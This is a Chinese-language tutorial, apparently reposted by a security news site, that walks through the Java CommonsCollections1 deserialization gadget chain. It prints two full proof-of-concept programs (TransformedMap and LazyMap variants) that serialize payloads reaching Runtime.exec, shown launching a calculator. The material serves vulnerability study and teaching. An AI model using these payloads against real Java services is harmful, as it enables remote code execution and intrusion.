java object转map_Java反序列化学习之CommonsCollections1
更多全球網絡安全資訊盡在邑安全
www.eansec.com
漏洞點
漏洞點存在于?commons-collections-3.1-src.jar!/org/apache/commons/collections/functors/InvokerTransformer.java?。 在?InvokerTransformer?類中使用了反射,且反射參數均可控,所以我們可以利用這處代碼調用任意類的任意方法。
接下來,我們需要找到一處可以循環調用?transform?方法的地方。全局搜索?.transform(?后發現,?commons-collections-3.1-src.jar!/org/apache/commons/collections/functors/ChainedTransformer.java?類的?transform?方法剛好符合條件。
在?ChainedTransformer?類的?transform?方法中,對?iTransformers?數組進行了循環遍歷,并調用其元素的?transform?方法。
可能有的人會有疑問,為什么要找一處循環調用?transform?方法的地方?如果你懂得如何使用?Java反射?來執行?系統命令?,也許就能明白這么做的原因。下面貼出了?Demo?代碼。我們需要利用循環,構造出下面的鏈式調用。
// ExecuteCMD.javaimport java.io.IOException;public class ExecuteCMD {public static void main(String [] args) throws IOException{// 普通命令執行Runtime.getRuntime().exec(new String [] { "deepin-calculator" });// 通過反射執行命令try{Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String [] { "deepin-calculator" });} catch(Exception e) {e.printStackTrace();}}}此時,我們就可以將?ChainedTransformer?的?Transformer?屬性按照如下構造:
Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" }) };這里?transformers?數組的第一個,我們選用的是?ConstantTransformer?類。因為該類執行?transform?方法后,會返回一個構造對象時傳入的參數,在這里就是?Runtime.class?。
在構造好這些后,我們現在需要尋找哪里可以調用?ChainedTransformer.transform()?方法。網絡上公開的主要是通過?TransformedMap?和?LazyMap?這兩個利用鏈,接下來我們來逐個分析。
TransformedMap利用鏈
先來看?TransformedMap?類,該類中有3個方法均調用了?transform()?(對應下圖126、141、169行代碼),分別是?transformKey()、transformValue()、checkSetValue()?,且類名均可控(對應下圖83-84行代碼)。但是這3個方法都被?protected?修飾,所以看看哪些方法調用了它們。
我們可以看到公共方法?put()、putAll()?調用了?transformKey()、transformValue()?,而?checkSetValue()?卻沒有看到在哪調用。不過我們可以從注釋中看出些端倪。注釋說當調用該類的?setValue方法時,會自動調用?checkSetValue?方法。該類?setValue?方法繼承自父類?AbstractInputCheckedMapDecorator?,我們看其父類代碼。
AbstractInputCheckedMapDecorator?的根父類實際就是?Map?,所以我們現在只需要找到一處?readObject?方法,只要它調用了?Map.setValue()?方法,即可完成整個反序列化鏈。下面,我們來看滿足這個條件的?AnnotationInvocationHandler?類,該類屬于?JDK1.7?自帶的,代碼如下。
我們可以在?AnnotationInvocationHandler?類的?readObject?方法中看到?setValue?方法的調用。而想要成功執行到此處,我們需要先繞過上圖360行的if條件。其中需要關注的就是?var7、var8?兩個變量的值。實際上,?var7?的值只與?this.type?有關;?var8?只與?this.memberValues?有關,所以我們轉而關注構造函數。在構造函數中,程序要求我們傳入的第一個參數必須繼承?java.lang.annotation.Annotation?接口。而在?Java?中,所有的注解實際上都繼承自該接口。所以我們第一個變量傳入一個JDK自帶注解,這樣第二個?Map類型的變量也可以正常賦值。
現在來看看如何去構造這兩個?this.type、this.memberValues?這兩個變量。實際上,并不是將?this.type設置成任意注解類都能執行?POC?。網絡上很多分析文章將?this.type?設置成?java.lang.annotation.Retention.class?,但是沒有說為什么這個類可以。而在調試代碼的過程中,我發現這個問題和注解類中有無定義方法有關。只有定義了方法的注解才能觸發?POC?。例如?java.lang.annotation.Retention、java.lang.annotation.Target?都可以觸發,而?java.lang.annotation.Documented?則不行。而且我們?POC?中,?innermap?必須有一個鍵名與注解類方法名一樣的元素(如下圖箭頭指向)。而注解類方法返回類型將是?var7?的值。
具體怎么影響,調試下?/opt/java/jdk1.7.0_80/jre/lib/rt.jar!/sun/reflect/annotation/AnnotationType.class:AnnotationType()?就知道了,這里不再贅述。
最終構造?TransformedMap?利用鏈如下:
// PopChain1.javaimport java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;public class Demo {public static Object generatePayload() throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" })};Transformer transformerChain = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "mochazz");Map outmap = TransformedMap.decorate(innermap, null, transformerChain);//通過反射獲得AnnotationInvocationHandler類對象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通過反射獲得cls的構造函數Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//這里需要設置Accessible為true,否則序列化失敗ctor.setAccessible(true);//通過newInstance()方法實例化對象Object instance = ctor.newInstance(Retention.class, outmap);return instance;}public static void main(String[] args) throws Exception {payload2File(generatePayload(),"obj");payloadTest("obj");}public static void payload2File(Object instance, String file)throws Exception {//將構造好的payload序列化后寫入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//讀取寫入的payload,并進行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));in.readObject();in.close();}}LazyMap利用鏈
在分析?LazyMap?這條利用鏈之前,我們得先了解?Java?中代理模式的概念。
代理實際上是:在不修改原函數代碼的基礎上,為其添加額外的功能代碼,有點像?Python?中的裝飾器。下面分別來看靜態代理與動態代理的示例。
靜態代理示例:
// StaticProxyDemo.javapublic class StaticProxyDemo {public static void main(String[] args){Animals catProxy = new CatProxy();catProxy.say();}}interface Animals{void say();}class Cat implements Animals{public void say() {System.out.println("I'm a cat!");}}class CatProxy implements Animals {private Cat cat = new Cat();public void say() {System.out.println("Before invoke say!");cat.say();System.out.println("After invoke say!");}}/* 執行結果: Before invoke say! I'm a cat! After invoke say! */動態代理示例:
import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;public class DynamicProxyDemo {public static void main(String[] args){Animals cat = new Cat();InvocationHandler handler = (InvocationHandler) new CatProxyHandle(cat);Animals catProxy = (Animals) Proxy.newProxyInstance(Cat.class.getClassLoader(), Cat.class.getInterfaces(), handler);catProxy.say();}}interface Animals{void say();}class Cat implements Animals{public void say() {System.out.println("I'm a cat!");}}class CatProxyHandle implements InvocationHandler {private Object obj;public CatProxyHandle(Object obj) {this.obj = obj;}public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {System.out.println("Before invoke " + method.getName());method.invoke(obj, args);System.out.println("After invoke " + method.getName());return null;}}/* 執行結果: Before invoke say I'm a cat! After invoke say */通過上面動態代理的示例,我們可以清晰看到,程序會調用實現了代理類(必須實現?InvocationHandler?)的?invoke?方法,然后再通過反射調用被代理類的方法。
在了解了上面這些概念之后,我們就可以直接來看?LazyMap?這個利用鏈。首先,我們在?LazyMap:get()?中發現調用了?transform?方法,且前面的?factory?可控,所以我們繼續搜下哪里調用了這個?get?方法。
在?AnnotationInvocationHandler?類的?invoke?方法中,我們可以看到有?get()?方法調用,且?this.memberValues?可控。通過動態代理,我們就可以觸發這個?invoke?方法。
最終構造?LazyMap?利用鏈如下:
// PopChain2.javaimport java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;public class PopChain2 {public static Object generatePayload() throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" })};Transformer transformerChain = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "mochazz");Map outmap = LazyMap.decorate(innermap,transformerChain);//通過反射獲得AnnotationInvocationHandler類對象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通過反射獲得cls的構造函數Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//這里需要設置Accessible為true,否則序列化失敗ctor.setAccessible(true);//通過newInstance()方法實例化對象InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);Object instance = ctor.newInstance(Retention.class, mapProxy);return instance;}public static void main(String[] args) throws Exception {payload2File(generatePayload(),"obj");payloadTest("obj");}public static void payload2File(Object instance, String file)throws Exception {//將構造好的payload序列化后寫入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//讀取寫入的payload,并進行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));in.readObject();in.close();}}轉自先知社區
歡迎收藏并分享朋友圈,讓五邑人網絡更安全歡迎掃描關注我們,及時了解最新安全動態、學習最潮流的安全姿勢!推薦文章
1
新永恒之藍?微軟SMBv3高危漏洞(CVE-2020-0796)分析復現
2
重大漏洞預警:ubuntu最新版本存在本地提權漏洞(已有EXP)
總結
以上是生活随笔為你收集整理的java object转map_Java反序列化学习之CommonsCollections1的全部內容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: axure怎么做5秒倒计时_装修隔音怎么
- 下一篇: 流程图的绘图规范_流程图绘制的基本规则
